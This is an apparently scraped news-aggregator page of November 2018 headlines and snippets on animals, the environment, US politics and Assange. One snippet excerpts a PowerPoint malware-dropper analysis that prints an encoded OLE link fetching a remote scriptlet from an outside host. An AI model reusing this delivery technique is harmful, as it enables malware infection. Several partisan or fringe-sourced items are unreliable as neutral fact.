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Saturday, 17 November

01:29

This Shelter's 'Puppy Cart' Is The Cutest Thing Ever "IndyWatch Feed Allworld"

Whenever the Nebraska Humane Society gets in a big litter of young puppies, the question always arises of how the staff is going to transport them all around the shelter. Puppies require a lot of attention and care that involves moving them around to different parts of the shelter, but young puppies are also very susceptible to getting sick, and therefore letting them walk, sniff and lick their way across the shelter isnt always the best idea. 

In order to keep all their incoming puppies safe, the shelter came up with the best idea, which has since turned into the cutest phenomenon ever. 

Credit: Nebraska Humane Society

Staffers at the shelter created a puppy cart, a big cart with an adorable label designed to carry puppies around the shelter. Not only is it an incredibly smart invention, theres also absolutely nothing cuter than a huge cart of puppies being pushed down a hall together. 

Credit: Nebraska Humane Society

We are a very clean shelter, but we intake all sorts of animals from all sorts of situations, Pam Wiese, VP of public relations and marketing at Nebraska Humane Society, told The Dodo. As young pups dont have full vaccinations, they are susceptible to picking up anything that may be lingering in higher traffic areas. To keep their feet off the floor and as safe as possible we transport them in the puppy cart. Its a sterilizable way to move them. Its also much easier to transport multiple puppies instead of making six trips to carry six puppies! 

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00:16

Very bright fireball caught on camera over Texas, sonic boom reported "IndyWatch Feed Allworld"

A very bright meteor was caught on camera over Texas at 03:25 UTC on November 16 (21:25 CDT, November 15). The object was seen for about 3 to 7 seconds and was followed by a sonic boom. It was primarily seen from Texas but was also seen from Louisiana and Oklahoma,...... Read more

Tropical Cyclone "Gaja" makes landfall in Tamil Nadu, leaving at least 28 people dead "IndyWatch Feed Allworld"

Tropical Cyclone "Gaja" made in Tamil Nadu, India, between Nagapattinam and Vedarannyam, on November 15, 2018, with maximum sustained winds up to 139 km/h (83 mph). This made it a Category 1 hurricane equivalent on the Saffir-Simpson hurricane wind scale. ...... Read more

Brazil could lose Nepal-size area of rainforest due to policy revision "IndyWatch Feed Allworld"

An area of Brazilian Amazon rainforest bigger than Ireland is at risk of losing its legal protection, according to new research. In an ironic twist, the trigger for this loss could come from the granting of protections to other areas of the Amazon. The study was conducted by researchers at Chalmers University of Technology and the KTH Royal Institute of Technology in Sweden and the University of Sao Paolo, Brazil. It was released this week in Nature Sustainability. Brazils Forest Act requires landowners living in the countrys Amazon region set aside 80 percent of their private land for native vegetation. Theyre not allowed to clear forests on that portion for farming, logging, or any other activity that requires deforestation. But the Act was revised in 2012 to include a paragraph that says this 80 percent requirement can be relaxed to 50 percent if a state protects more than 65 percent of its public land. The result, the researchers warn, could be the legalization of logging and other development activities in vast areas of rainforest once protected as reserves. The study estimates that between 65,000 and 154,000 square kilometers of the Brazilian Amazon could lose their protected status. In comparison, the land area of the country of Ireland is around 70,000 square kilometers. Most of the area under threat, its authors write, is comprised of primary forest with high levels of biodiversity and large stores of carbon. Brazils rainforests are home to many animals that stand to lose habitat if deforestation

RSPO adopts total ban on deforestation under sweeping new standards "IndyWatch Feed Allworld"

JAKARTA The worlds leading certification body for ethically sourced palm oil has ordered a total ban on deforestation by its members, amid growing pressure from both companies and consumers. Members of the Roundtable on Sustainable Palm Oil (RSPO) voted overwhelmingly in favor of the ban at the groups annual general assembly in Kota Kinabalu, Malaysia, on Nov. 15. The ban is now part of the RSPOs new core standards, the Principles and Criteria (P&C), which member companies must comply with for their product to be certified sustainable. While the RSPOs previous standards prohibited the clearing of primary, or virgin, forest to make way for palm plantations, they did allow for the cutting of secondary forests and peat forests with a peat layer less than 3 meters (10 feet) deep. While not as thick and lush as primary forests, secondary forests are still vital for wildlife, carbon storage, and the livelihoods of local and indigenous communities. Peatlands, meanwhile, are rich in carbon, and their destruction by palm oil companies in Indonesia, the worlds top producer of the commodity, releases significant quantities of greenhouse gases. Annual greenhouse gas emissions from converting a single hectare (2.5 acres) of peatland to oil palm plantation equal those from driving six times around the world in the average passenger vehicle. The RSPOs new standards mean palm oil growers must ensure future land clearing doesnt cause deforestation or damage areas especially rich in carbon, including peatlands and high carbon stock (HCS) forests. This means no more

Peru shares its fisheries surveillance data with the world "IndyWatch Feed Allworld"

LIMA, Peru On Oct. 25, the Peruvian government made public its satellite surveillance data on 1,300 commercial fishing vessels plying Perus waters via the open-access platform Global Fishing Watch. Only the Peruvian government and companies in the fishing sector had access to the data previously. This is the beginning of a global-scale revolution in the transparency of industrial fisheries, said Juan Mayorga, a researcher at the Sustainable Fisheries Group, referring to the Peruvian governments decision. The Global Fishing Watch (GFW) platform bases its monitoring on data from the Automatic Identification System (AIS), a radio transmission system installed in a large part of the world fleet. However, not all vessels use this tool. In Peru, most use the Vessel Monitoring System (VMS), a method of satellite surveillance that GFW has now incorporated. The Global Fishing Watch platform monitors fishing vessels around the world. Image courtesy of GFW. Peru has become the second country in the world, following Indonesia, to make its VMS data publicly available. This has contributed to the expansion of the GFW database, which already had the data of 70,000 boats worldwide. These countries are setting an example to the world, showing a way to improve ocean sustainability, said Mayorga. Adding that information to GFW opens up many possibilities for improving the management of fisheries. Users can detect, for example, if a boat is fishing during the closed season of a species, if it enters an unauthorized area or if it sails into a protected area. According to

In other news: Environmental stories from around the web, November 16, 2018 "IndyWatch Feed Allworld"

Tropical forests The biggest flooring retailer in the United States is buying from a Brazilian firm that sells illegally harvested tropical timber, according to a new investigation (Timber Leaks). Wildlife face a gantlet on a Brazilian highway (The New York Times). Wood for construction related to the 2020 Olympic Games in Tokyo is not from illegal sources, Japanese authorities say (Straits Times). Deforestation in the Amazon was up nearly 50 percent during Brazils recent presidential election (Folha de Sao Paulo). Liberias forestry department gets a fleet of new vehicles through REDD+ funding (Liberian Observer, Front Page Africa). Tanzanias government has removed a ban on hunting for trophies and bushmeat in what authorities say is a move to help wildlife conservation (The East African). A controversial advertisement for the U.K. supermarket chain Iceland that links rainforest destruction and the loss of orangutan habitat to palm oil production has been deemed too political to air (Scitech Europa, The New York Times). Forest fragmentation tinkers with the interactions between some tree species and their natural enemies, recent research has found (Science Daily). A new study shows that tropical trees are colonizing higher-altitude climes, perhaps pushing them toward extinction (Phys.Org). Researchers demonstrate the underrated importance of the Guiana Shield rainforest in South America in regulating the climate and water dynamics (Physics World). Other news Crab fishers have brought a lawsuit against fossil fuel companies, claiming they knowingly contributed to global warming (The Guardian). A decline in fertility in male insects following heat waves may

Latam Eco Review: Rampant roadkill and shrinking seaweed stocks "IndyWatch Feed Allworld"

The top stories from our Spanish-language service, Mongabay Latam, investigated Colombias roadkill rates; Chiles marine forests; and Chinese energy projects in Ecuador. Mammals pay highest toll on Colombias highways Plans to double Colombias highway network by 2035 represent a major threat to wildlife conservation. A roadkill app and research have documented some 11,000 roadkill incidents, with mammals most affected, particularly the Andean white-eared opossum (Didelphis pernigra). Researchers cite various low-cost strategies, but connectivity corridors could be the best conservation solution, provided planners know where to place them. A dead mountain sipo (Chironius monticola) on El Escobero highway in Envigado, Antioquia, in western Colombia. Image courtesy of Transport, Animal and Roadkill Registry (Tayra). Seaweed market imperils Chiles marine forests The unfettered growth of the worlds seaweed market has put Chiles marine refuges in a situation of high vulnerability, according to a National Fisheries Service report. Overharvesting of seaweed is clearing marine forests that are crucial for the reproduction and refuge of more than 150 species, including sharks, manta rays and shellfish. Ninety percent is exported as dried, cut seaweed to China, Japan, Norway and France for spices, cosmetics, pharmaceuticals and animal feed. The unchecked harvesting of seaweed has left Chiles marine refuges vulnerable, authorities say. Image courtesy of National Fisheries Service. The outsize heft of Chinas energy investments in Ecuador The rapid growth of Chinas presence and investments in Ecuador has resulted in political and economic dependence on Beijing, a recent report says. Since 2009, Chinese companies have invested $12.49 billion

Kurze Durchsage des UN Poverty Envoy:The UK government ... "IndyWatch Feed Allworld"

Kurze Durchsage des UN Poverty Envoy:

The UK government has inflicted great misery on its people with punitive, mean-spirited, and often callous austerity policies driven by a political desire to undertake social re-engineering rather than economic necessity, the United Nations poverty envoy has found.

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Friday, 16 November

22:45

The ubiquity of smartphones, as captured by photographers "IndyWatch Feed Allworld"

There are some fascinating photos, in both good and bad ways, in this collection.

Read this on The Loop

22:19

White House Aides Are Becoming Alarmed As Trump Repeatedly Asks If Mike Pence Is Loyal "IndyWatch Feed Allworld"

Vice-president Mike Pence has had Donald Trumps back, but so did former Attorney General Jeff Sessions. Trump never forgave Sessions for rightfully recusing himself from the Russia probe and now hes out and has been replaced by a lackey. Or, I should say, more of a  lackey. According to The New York Times, Trump is now questioning Pences loyalty. According to the report, Trump has alarmed his advisers by repeatedly questioning them about Pences allegiance to him.

Trump has not openly suggested dropping Pence from the 2020 ticket, but the advisers say those kinds of questions usually indicate that he has grown irritated with someone. In this case, it appears to be Pence, however, Trump has reportedly grown more irritated since the midterm elections which issued a referendum on the president*.

Most of the people in the White House that Trump has spoken to have assured the former reality show star that Pence is loyal to his presidency*.

But, others have a different opinion of the vice-presidents usefulness, saying that Trump already has evangelical voters supporting him, but they said that he now needs women voters, who disapprove of him in large numbers.

Its almost as if Trump has become more paranoid than usual:

Others close to the president believe that asking about Mr. Pences loyalty is a proxy for asking about whether the vice presidents chief of staff, Nick Ayers, is trustworthy. Mr. Trump has been considering making Mr. Ayers the White House chief of staff to replace John F. Kelly, the retired Marine general a decision several White House officials say has been with the encouragement of his adult children. But the president has put off making a decision for now.

The Times spoke with nearly a dozen White House aides and others close to Trump, however, Hogan Gidley, the deputy press secretary, claimed that Trump supports Pence.

The president absolutely supports the vice president and thinks hes doing an incredible job helping to carry out the mission and policies of this administration, he insisted.

Trump, according to the report, has never forgotten that during the 2016 campaign, Pence issued a disapproving statement the day after the infamous Access Hollywood tape was released. Pence, a right-wing Christian, has apparently gotten over Trumps remarks in which he claimed he could grab women by their genitals because hes powerful. Pence aligned himself with Trumps toxic presidency* but Trump hasnt forgotten about the disapproving remarks, just...

21:53

Turnbull says Liberals can't deal with climate change - cause he doesn't care about energy prices "IndyWatch Feed Allworld"

Turnbull was true to form at last night's Bar Association speech. He was never going to go quietly. Here's Brad Norington writing in The Australian today. Malcolm Turnbull has declared the Liberal Party is not capable of dealing with climate change because of an influential group within its ranks that...

21:38

Plan to ship gorillas from DRC to Zimbabwe raises alarm "IndyWatch Feed Allworld"

In September, the Zimbabwe Parks and Wildlife Management Authority (Zimparks) revealed that the country would soon receive a donation of gorillas from the DRC. Okapis (Okapia johnstoni), an endangered species also known as forest giraffes, will also be translocated from the DRC, Zimparks director-general Fulton Upenyu Mangwanya told local media during a visit to a nature reserve. The disclosure came on the heels of the controversial transfer of 10 white rhinos from Zimbabwe to the DRC. Zimbabwes government says the translocated animals will help boost the countrys tourism and bring diversity to the countrys wildlife. But news of the proposed transfer has raised concerns among both residents and primate experts. View from the summit of Mount Nyangani, Zimbabwes highest peak at 2,592 meters (8,504 feet). Located within the Nyanga National Park, the peak is sacred to the local population. Image by Damien Farrell via Flickr CC-BY 2.0. Where will they go? Nyanga, in the highlands of eastern Zimbabwes Manicaland province, has been floated as a possible habitat for the translocated animals. The area is famed for its cool temperatures and lush vegetation, nourished by several rivers and streams that course through the area. The mountainous terrain teems with wildlife, including zebras, waterbucks, impalas, blue duikers and elands. But the area isnt suitable for either mountain gorillas (Gorilla beringei beringei) or okapis, says Mike Hitschmann, a wildlife expert with the Cecil Kop Nature Reserve in Manicaland. Both, he says, inhabit specific niches in tropical climates. Where, specifically, would they want to

20:22

South Sudans women caught up in futile mans war "IndyWatch Feed Allworld"

South Sudan women are calling on political and militia leaders to end what they regard as a futile mans war, a UN official said on Friday.

20:18

NO FUTURE, PLEASE, WE'RE THE NEW YORK TIMES "IndyWatch Feed Allworld"

Let's see: After a midterm election in which the Democratic Party got a lot of women and non-whites elected, who got a front-page profile in The New York Times yesterday? This white guy:

One after another, the Democratic candidates in Ohio fell.

But there was Senator Sherrod Brown celebrating his re-election last Tuesday night at a hotel ballroom before a crowd of anxious revelers.

... his gravelly voice rasping out a crescendo, he made it clear where he thought his party could forge its path to success: his triumphant campaign, he said, was the blueprint for America for 2020. The revelers roared.

If his victory speech seemed to double as a calling card for a possible presidential run, there was good reason. Not only had Mr. Brown won his third term in this crucial battleground that President Trump claimed by eight points, he was the only major Democrat to win a statewide seat in Ohio....

Rumpled and unvarnished with a fondness for sweatshirts, less so for ties Mr. Brown would in some ways seem uniquely positioned in a party hoping to win back the Midwestern states that flipped to Mr. Trump. Throughout his political career, he has championed populist platitudes like the dignity of work that have resonated with working-class voters in all corners of Ohio....
And who gets profiled today, in a Sunday Magazine piece posted a couple of days early? This discredited Republican who's been with us forever:
I mean, its not fun, Susan Collins said, sitting in her Senate office on Tuesday. It was her first day back at work following last weeks midterm elections, and the Maine Republican was not quite radiating fresh-start and renewal vibes. Death threats are not fun. Protests are not fun. Being mobbed sorry, I know the media hates that word being mobbed when I go to vote. I do not enjoy that at all. I find that exhausting.

Returning senators of either party could echo Collinss despair over the ruptured, strident and increasingly bellicose state of Trumps Washington; they would also share her foreboding over whats in store as subpoenas start flying, Mueller Time nears and the president swings into re-election rally mode, probably in the next week or so. But Collins, who is 65 and coming off two of the most punishing years of her Senate career, seems to be entering a particularly grim existential zone.
We're supposed to thrill to the prospect that the Democratic Party, now apparently a gynocracy (which, by the way, is fine by me), will be saved by this white dude in late middle age. We're also supposed to feel sorr...

20:12

How Canada marijuana legalization impacts on Latin American drug policy? "IndyWatch Feed Allworld"

Marijuana in Canada is now legal, and while the change is unlikely to have a significant impact on Latin Americas black market, it could trigger a shift towards more progressive international drug policies. Spanish

Cannabis trimmer wearing socks. Image: http://wantcannabis.ca/#!/item/91438. All rights reserved

Recreational marijuana in Canada is now officially legal, and while the change is unlikely to have a significant impact on Latin Americas black market, it could trigger a shift towards more progressive international drug policies.

On October 17, Canada became the largest country in the world to fully legalize the use of recreational marijuana.

Lawmakers in the North American nation passed in June 2018 Bill-C45 before marijuana legalization officially went into effect this October. Canada is the second country in the region to legalize recreational marijuana consumption after Uruguay became the first to do so in December 2013 before beginning legal sales in December 2017.

Several US states have also legalized marijuana despite federal prohibition and other countries in the region are currently debating proposals to allow for medicinal use or...

20:10

Iran Turns To Crypto As SWIFT Cuts Off Central Bank "IndyWatch Feed Allworld"

Iran Turns To Crypto As SWIFT Cuts Off Central Bank By Michael Kern  SafeHaven On November 5th, the United States put into effect the harshest round of sanctions on Iran to date, scaling back Tehrans ability to do business with foreign...

The post Iran Turns To Crypto As SWIFT Cuts Off Central Bank appeared first on The Daily Coin.

20:10

Forkcoin That Split From Bitcoin Now Struck By Contentious Hardfork "IndyWatch Feed Allworld"

The failed Forkcoin referred to as "bitcoin cash" has been hit by its own contentious hardfork. A Roger VER-ified1 client called ABC decided to implement new rules from an "official roadmap" while a client backed by notorious fraudster Craig 'Hoaxtoshi' Wright decided not to. As of this writing one chain has more blocks committed than the other, but the clear losers appear to be all parties involved in this dispute including those furthest on the periphery who let themselves become affected by it through failing to appropriately discount the deficits in credibility attached to the folks positioned as "leaders" in this incredibly sour and bitter wank competition.


  1. In a legally and morally dubious move Roger Ver's mining pool redirected hash power subsribers intended to aim a mining actual Bitcoin to instead prop up his favored side of the Forkcoin.  

20:09

The Truth About Hillary & Benghazi, 2441 "IndyWatch Feed Allworld"

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20:08

Prosecutors Accidentally Reveal Federal Charges Against Julian Assange "IndyWatch Feed Allworld"

Julian Assange has been charged under seal with unspecified offenses in the US, prosecutors have accidentally revealed in an unintentional court filing. Federal prosecutors were planning to keep the indictment prepared against Assange a secret due [...]

The post Prosecutors Accidentally Reveal Federal Charges Against Julian Assange appeared first on News Punch.

20:06

FYI, saying 'men aren't women' now qualifies as 'hateful speech' on Twitter "IndyWatch Feed Allworld"

Twitter's crusade against "hate speech" has vanquished yet another meany face. A prominent Canadian feminist says that the company flagged a tweet she wrote which meekly suggested that men aren't women. Isn't Twitter fun? Meghan Murphy, editor of Canada's leading feminist news portal, Feminist Current, was recently informed by Twitter that two of her tweets had violated the platform's rules against "hateful conduct." One of the offending tweets stated that "men aren't women," while the other asked: "How are transwomen not men?" "This is f*cking bullshit @twitter. I'm not allowed to say that men aren't women or ask questions about the notion of transgenderism at all anymore?" Murphy tweeted. "That a multi billion dollar company is censoring BASIC FACTS and silencing people who ask questions about this dogma is INSANE."

20:02

Supreme Court agrees to hear arguments in Trump census case "IndyWatch Feed Allworld"

Supreme Court agrees to hear arguments in Trump census case | 16 Nov 2018 | The Supreme Court on Friday agreed to hear the Trump administrations appeal of a district court ruling that allowed administration officials to be questioned under oath about the decision to add a citizenship question to the 2020 Census. The Supreme Court said it will hear arguments on Tuesday, Feb. 19 in the battle over discovery in lower court cases challenging the additional question.

20:02

An Insult to the American People: Outrage After Pentagon Fails First-Ever Audit "IndyWatch Feed Allworld"

After years of empty promises and demands from frustrated members of Congress, the Pentagon finally conducted its first-ever comprehensive auditand unsurprisingly failed it, Deputy Defense Secretary Patrick Shanahan revealed Thursday.

We failed the audit, but we never expected to pass it, Shanahan told reporters at a press briefing. While expressing irritation with the poor money management, he added, it was an audit on a $2.7 trillion dollar organization, so the fact that we did the audit is substantial.

Although a 1990 federal law requires all U.S. government agencies to conduct annual financial audits, the Pentagon put it off until launching this one last December. Critics of the United States astronomical military spending said the findings were precisely why lawmakers and the public have demanded Defense Department audits for decades.

This is exactly why we must AuditThePentagon, tweeted Rep. Barbara Lee (D-Calif.). The unchecked waste, fraud, and abuse at the Pentagon is an insult to the American people.

The simple truth is that the Pentagon is an atrocious steward of the hundreds of billions of dollars taxpayers give them every year, Win Without War director Stephen Miles told Common Dreams.

Whether it is massively overpaying for spare parts, mismanaging large weapons programs, or failing at the basics business of doing business, this audit confirms that the Pentagon is in dire need of reform, he added. Throwing endless money at the Pentagon is what has created these problems, and the solution rests in finally tightening the worlds largest bureaucracys fiscal belt.

Even while members of Congress have called for audits, theyve passed bipar...

20:01

20:00

Bernie Sanders Unveils Stop Walmart Act "IndyWatch Feed Allworld"

Bernie is a jobs killer. New York (CNN Business)Fresh off a campaign to get Amazon to raise its minimum wage, Senator Bernie Sanders is now shining his progressive spotlight on Walmart. Sanders on Thursday introduced a bill, titled the Stop Walmart Act, that would prevent large companies from buying back stock unless they pay all []

20:00

2:00PM Water Cooler 11/16/2018 "IndyWatch Feed Allworld"

By Lambert Strether of Corrente. Politics But what is government itself, but the greatest of all reflections on human nature? James Madison, Federalist 51 2020 Poll: Biden and Sanders lead 2020 Dem field, followed by Beto ORourke [The Hill]. About 26 percent of Democrats want Biden to be the Democratic nominee in two years, while []

19:59

Corporations That Fail To Reduce Carbon Will Face Stock Depreciation & Devaluation "IndyWatch Feed Allworld"

The researchers further determined that the failure of companies within the emission-intensive sector to take carbon reduction actions could start negatively impacting the general stock market in as little as 10 years' time. "Over the long-term, companies from the carbon-intensive sectors that fail to take proper recognizable emission abatements may be expected to experience fundamental devaluations in their stocks when the climate change risk gets priced correctly by the market," said lead author Mingyu Fang, a PhD candidate in Waterloo's Department of Statistics & Actuarial Science. "More specifically for the traditional energy sector, such devaluation will likely start from their oil reserves being stranded by stricter environmental regulations as part of a sustainable, global effort to mitigate the effects caused by climate change.

19:57

Fallout From Election Day Chaos Continues in Indianas Porter County "IndyWatch Feed Allworld"

Porter County Clerk Karen Martin at a press conference at the Porter County Administration Center on Nov. 8, 2018 in Valparaiso, Ind.

19:56

Hillary Clinton Ordered To Answer Additional Questions Under Oath About Private Email Server "IndyWatch Feed Allworld"

By Tyler Durden Zero Hedge 11/16/2018 A federal judge has ordered Hillary Clinton to respond to further questions, under oath, about her private email server. Following a lengthy Wednesday court hearing, Judge Emmet G. Sullivan (who is also presiding over fmr. National Security adviser Michael Flynns case), ruled that Clinton has 30 days []

19:55

Using Microsoft Powerpoint as Malware Dropper "IndyWatch Feed Allworld"

Marco Ramilli, founder and CEO at cyber security firm Yoroi has explained how to use Microsoft Powerpoint as Malware Dropper

Nowadays Microsoft office documents are often used to propagate Malware acting like dynamic droppers. Microsoft Excel embedding macros or Microsoft Word with user actions (like links or external OLE objects) are the main players in this Office Dropping Arena. When I figured out that a Microsoft Powerpoint was used to drop and to execute a Malicious payload I was amazed, its not so common (at least on my personal experiences), so I decided to write a little bit about it.
The attack-path is very close to what its observable on modern threats since years: eMail campaign with an attached document and actionable text on it. In the beginning, the Microsoft Powerpoint presentation looked like a white blank page but performing a very interesting and hidden connection to hxxps://a.doko.moe/wraeop.sct.

Analyzing the Microsoft Powerpoint structure it rises on my eyes the following slide structure

Microsoft Powerpoint dropper
Stage 1: Microsoft PowerPoint Dropping Website

An external OLEobject (compatibility 2006) was available on that value:

Target=%73%63%72%49%50%54:%68%74%74%70%73%3A%2F%2F%61%2E%64oko%2Emo%65%2Fwr%61%65o%70%2E%73%63%74  

Decoding that string from HEX to ASCII is much more readable:

scrIPT:hxxps://a.dolo.moe/wraeop.sct

......

19:52

Sick! Kiev scheduled shooting contest to mark Maidan protest, where dozens were killed by snipers "IndyWatch Feed Allworld"

Ukraine is marking the 5th anniversary of the Maidan protests which reached their peak when snipers killed dozens of people in the streets. In a bizarre move, a youth sniper contest was announced as part of the event. The competition itself, which is called "Sniper of the capital", has been held since 2005 and is meant for youngsters who aspire to have a career in the military or law enforcement. But on Thursday, Kiev authorities announced that this year the shooting championship will be held among other patriotic events dedicated to Dignity and Freedom Day.

19:52

#London: State prosecution tried to imprison #ExtinctionRebellion cofounder the day before #RebellionDay "IndyWatch Feed Allworld"

London, UK: State prosecuters tried to imprison Extinction Rebellion founder Roger Hallam earlier today, just one day before tomorrows mass action of civil obedience: Rebellion Day. 

Published by Enough is Enough. Written by Riot Turtle. Information about tomorrows Rebellion day by Extinction Rebellion.

Note: Enough is Enough is not organizing any of these events, we are publishing this text for people across the US and Europe to be able to see what is going on and for documentation only.

Roger Hallam suddenly had to appear at Southwark Crown Court in London at 10:00 am today. The cofounder of Extinction Rebellion faces a possible prison sentence for spray chalking the central hall of Kings College London last year. Roger was charged with criminal damage without lawful excuse, since then he has been arrested 10 times for civil disobedience actions.

But the attempt to take out Roger, just one day before Rebellion Day, didnt work. In their sudden rush to prosecute this case, the state prosecution didnt organise their witnesses and came unprepared for court, so its been adjourned until the new year. 

...

19:50

New ACLU Documents Reveal CIA Considered Reviving MK-Ultra-Like Mind Control Programs "IndyWatch Feed Allworld"

New ACLU Documents Reveal CIA Considered Reviving MK-Ultra-Like Mind Control Programs By Derrick Broze Activist Post Documents released to the American Civil Liberties Union detail how the CIA considered using a controversial psychotropic drug as a truth serum. The American Civil Liberties...

The post New ACLU Documents Reveal CIA Considered Reviving MK-Ultra-Like Mind Control Programs appeared first on The Daily Coin.

19:47

CIA whistleblower John Kiriakou: I was targeted by Brennan, Mueller and Strzok just like Trump "IndyWatch Feed Allworld"

When the FBI asked John Kiriakou to meet at the Washington field office in January 2012, the former CIA officer says he gladly agreed to the request. "Anything for the FBI," Kiriakou told the FBI agent who contacted him. Months earlier, as a senior investigator on the Senate Foreign Relations Committee, Kiriakou had helped the FBI investigate a Japanese diplomat who had approached him offering a bribe. Or so he thought. Instead, Kiriakou says the FBI was running a sting operation against him for what he claims is payback for revealing secrets about the CIA's waterboarding program.

19:46

In Breach of Human Rights, Netanyahu Supports the Death Penalty against Palestinians "IndyWatch Feed Allworld"

Avigdor Lieberman at the Munich Security Conference on February 19, 2017 (Preiss/MSC/CC BY 3.0 DE)

19:46

How Neoliberal Economists Wreak Havoc On The Global Poor While Protecting The Financial Elite "IndyWatch Feed Allworld"

On December 1, Mexico will have a new presidentAndrs Manuel Lpez Obrador. He will take over the presidency from the lackluster Enrique Pea Nieto, whose administration is marinated in corruption. Pea Nietos legal office has already asked the Supreme Court to shield his officials from prosecution for corruption. The elite will protect itself. Lpez Obrador will not be able to properly exorcize the corrupt from the Mexican state, let alone from Mexican society. Corrupt weeds grow on the soil of capitalism, the loam of profit and greed as well as of rents from government contracts. Lpez Obrador comes to the presidency as a man of the left, but the space for maneuvering that he has for a left agenda is minimal. Mexicos economy, through geography and trade agreements, is fused with that of the United States.

19:46

National Bike Share Data Program Can Identify Users In Real-time "IndyWatch Feed Allworld"

By MassPrivateI A recent article in Smart Cities Dive revealed that the Los Angeles Department of Transportation (DOT) will be partnering with Remix, Lime and...

19:45

Secret Charges Against Julian Assange Revealed Due to 'Cut-Paste' Error "IndyWatch Feed Allworld"

Secret Charges Against Julian Assange Revealed Due to 'Cut-Paste' Error | 16 Nov 2018 | Has Wikileaks founder Julian Assange officially been charged with any unspecified criminal offense in the United States? -- YES. United States prosecutors have accidentally revealed the existence of criminal charges against Wikileaks founder Julian Assange in a recently unsealed court filing in an unrelated ongoing sex crime case in the Eastern District of Virginia. Assistant US Attorney Kellen S. Dwyer, who made this disclosure on August 22, urged the judge to keep the indictment prepared against Assange sealed (secret) "due to the sophistication of the defendant, and the publicity surrounding the case." Dwyer is assigned to the WikiLeaks case. WikiLeaks, the website that published thousands of classified U.S. government documents in 2010, said on Twitter that the Assange's name appearing in those court documents was due to an "apparent cut-and-paste error."

19:42

Cataclysmic eruption may have kicked off 'worst year' in history for humans - study "IndyWatch Feed Allworld"

The bubonic plague years and the breakout of two World Wars were terrible times. But these were not the worst periods to be alive, scientists claim in new research. It's the year 536. The 6th century year is thought to have been the beginning of bizarrely cold and dark summers, blamed for causing crop failure in Ireland, Scandinavia and China. Amazingly, the unusual weather was perhaps caused by volcanic material such as ash blocking out parts of the sun and wreaking havoc with the environment.

19:41

Voices of Collective Power From Nanaimos Schoolhouse Squat "IndyWatch Feed Allworld"

The post Voices of Collective Power From Nanaimos Schoolhouse Squat appeared first on It's Going Down.

Analysis and collection of documents from the recent squat of the Nanaimo Schoolhouse Squat in British Columbia. To listen to our podcast interview with someone from Alliance Against Displacement, go here.

Ive been chased around, I cant be in the streets, I cant be in the shelters. My only option is to go somewhere where Im protected and where Im with the people I love and care about.

 Darcy Kory, Discontent City resident and Schoolhouse Squatter

A week before an injunction imposed by Nanaimos City Council was set to displace hundreds from Discontent City, a group of tent city residents and their supporters, including members of Alliance Against Displacement and residents of Anita Place tent city in Maple Ridge, occupied a school abandoned because of austerity cuts to public education. The Schoolhouse Squat was born. Drawing strength from our solidarity, the squat established a visible front against the suffocating chains of anti-Indigenous and anti-homeless policing, social isolation, and institutionalization. The 17 hours we spent inside the Schoolhouse Squat, from the moment we entered and blockaded the building to the aggressive police operation that forced us out, were monumental in expanding the political imaginations of our group of homeless, working class, and Indigenous fighters, and in building our collective power for the fight pushing forward.

...

19:40

More Than A Dozen Navy SEALs May Get Caught Up In War Crimes Investigation "IndyWatch Feed Allworld"

Military officials are prepared to call nearly a dozen past and present Navy SEALs to testify in the case of one elite Navy commando accused of fatally stabbing an Islamic State detainee in Iraq last year, according to documents obtained by Navy Times. The records related to the Naval Criminal Investigation Services probe offer new insight into the probe that will be aired publicly when the case against Special Operations Chief Edward Eddie Gallagher goes to an Article 32 hearing Wednesday morning in San Diego. The documents suggest that military officials have obtained cellphone text conversations showing Gallagher allegedly sought to cover up the fatal stabbing.

19:38

The ontribution of hunting to the South African Economy "IndyWatch Feed Allworld"

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19:37

Inadvertent Court Filing Suggests that the U.S. DoJ is Preparing to Indict Julian Assange "IndyWatch Feed Allworld"

Inadvertent Court Filing Suggests that the U.S. DoJ is Preparing to Indict Julian Assange

Prosecutors Have Prepared Indictment of Julian Assange, a Filing Reveals

The Justice Department has prepared an indictment against the WikiLeaks founder, Julian Assange, marking a drastic escalation of the government's yearslong battle with him and his anti-secrecy group. It was not clear if prosecutors have filed charges against Mr. Assange. The indictment came to light late Thursday through an unrelated court filing in which prosecutors inadvertently mentioned charges against him. "The court filing was made in error," said Joshua Stueve, a spokesman for the United States attorney's office for the Eastern District of Virginia. "That was not the intended name for this filing."

[...] Seamus Hughes, a terrorism expert at George Washington University who closely tracks court cases, uncovered the filing and posted it on Twitter.

A Justice Department spokesman declined to say on Thursday what led to the inadvertent disclosure. It was made in a recently unsealed filing in an apparently unrelated sex-crimes case charging a man named Seitu Sulayman Kokayi with coercing and enticing an underage person to engage in unlawful sexual activity. Mr. Kokayi was charged in early August, and on Aug. 22, prosecutors filed a three-page document laying out boilerplate arguments for why his case at that time needed to remain sealed.

While the filing started out referencing Mr. Kokayi, federal prosecutors abruptly switched on its second page to discussing the fact that someone named "Assange" had been secretly indicted, and went on to make clear that this person was the subject of significant publicity, lived abroad and would need to be extradited suggesting that prosecutors had inadvertently pasted text from a similar court filing into the wrong document and then filed it.

"Another procedure short of sealing will not adequately protect the needs of law enforcement at this time because, due to the sophistication of the defendant and the publicity surrounding the case, no other procedure is likely to keep confidential the fact that Assange has been charged," prosecutors wrote. They added, "The complaint, supporting affidavit, and arrest....

19:35

France, Germany jumping the gun on EU army: Dutch PM "IndyWatch Feed Allworld"

France and Germany are jumping the gun with calls for a European army, Dutch Prime Minister Mark Rutte said Friday, asserting that the continents safety could be guaranteed only through NATO.

The idea of a European army is going way too far for the Netherlands, Rutte said at his weekly post-cabinet press conference.

France and Germany are really jumping the gun. As far as the Netherlands is concerned, NATO remains the cornerstone of our defence policy, he told journalists.

Ritzau Scanpix/AFP/File | Dutch Prime Minister Mark Rutte, pictured October 2018, says the concept of a European army is going way too far for the Netherlands, and insists that NATO remain the primary guardian of Europes safety

French President Emmanuel Macron sparked controversy last week with his proposal for a European army to protect ourselves with respect to China, Russia and even the United States.

He said he wanted to reduce Europes dependence on the US and US weapons for its own security.

Macrons call reflected a desire among several European countries to more autonomously handle their own collective defence, after US President Donald Trumps criticised Europe for what he sees as inadequate contributions to the North Atlantic Treaty Organisation defence alliance.

Trump called Macrons idea very insulting, tweeting that Europe should first pay its fair share of NATO, which the US subsidises greatly.

German Chancellor Angela Merkel has seconded Macrons proposal.

During a European parliament session, she emphasised the need for Europe to bolster its self-defence capabilities, and said that a European army could run parallel to NATO.

Europe must take our fate into our own hands if we want to protect our community, she said.

But Rutte insisted NATO remained the primary guardian of Europes safety.

As far as I am concerned, it is an illusion to think that the European Union without NATO can guarantee her safety, Rutte said.

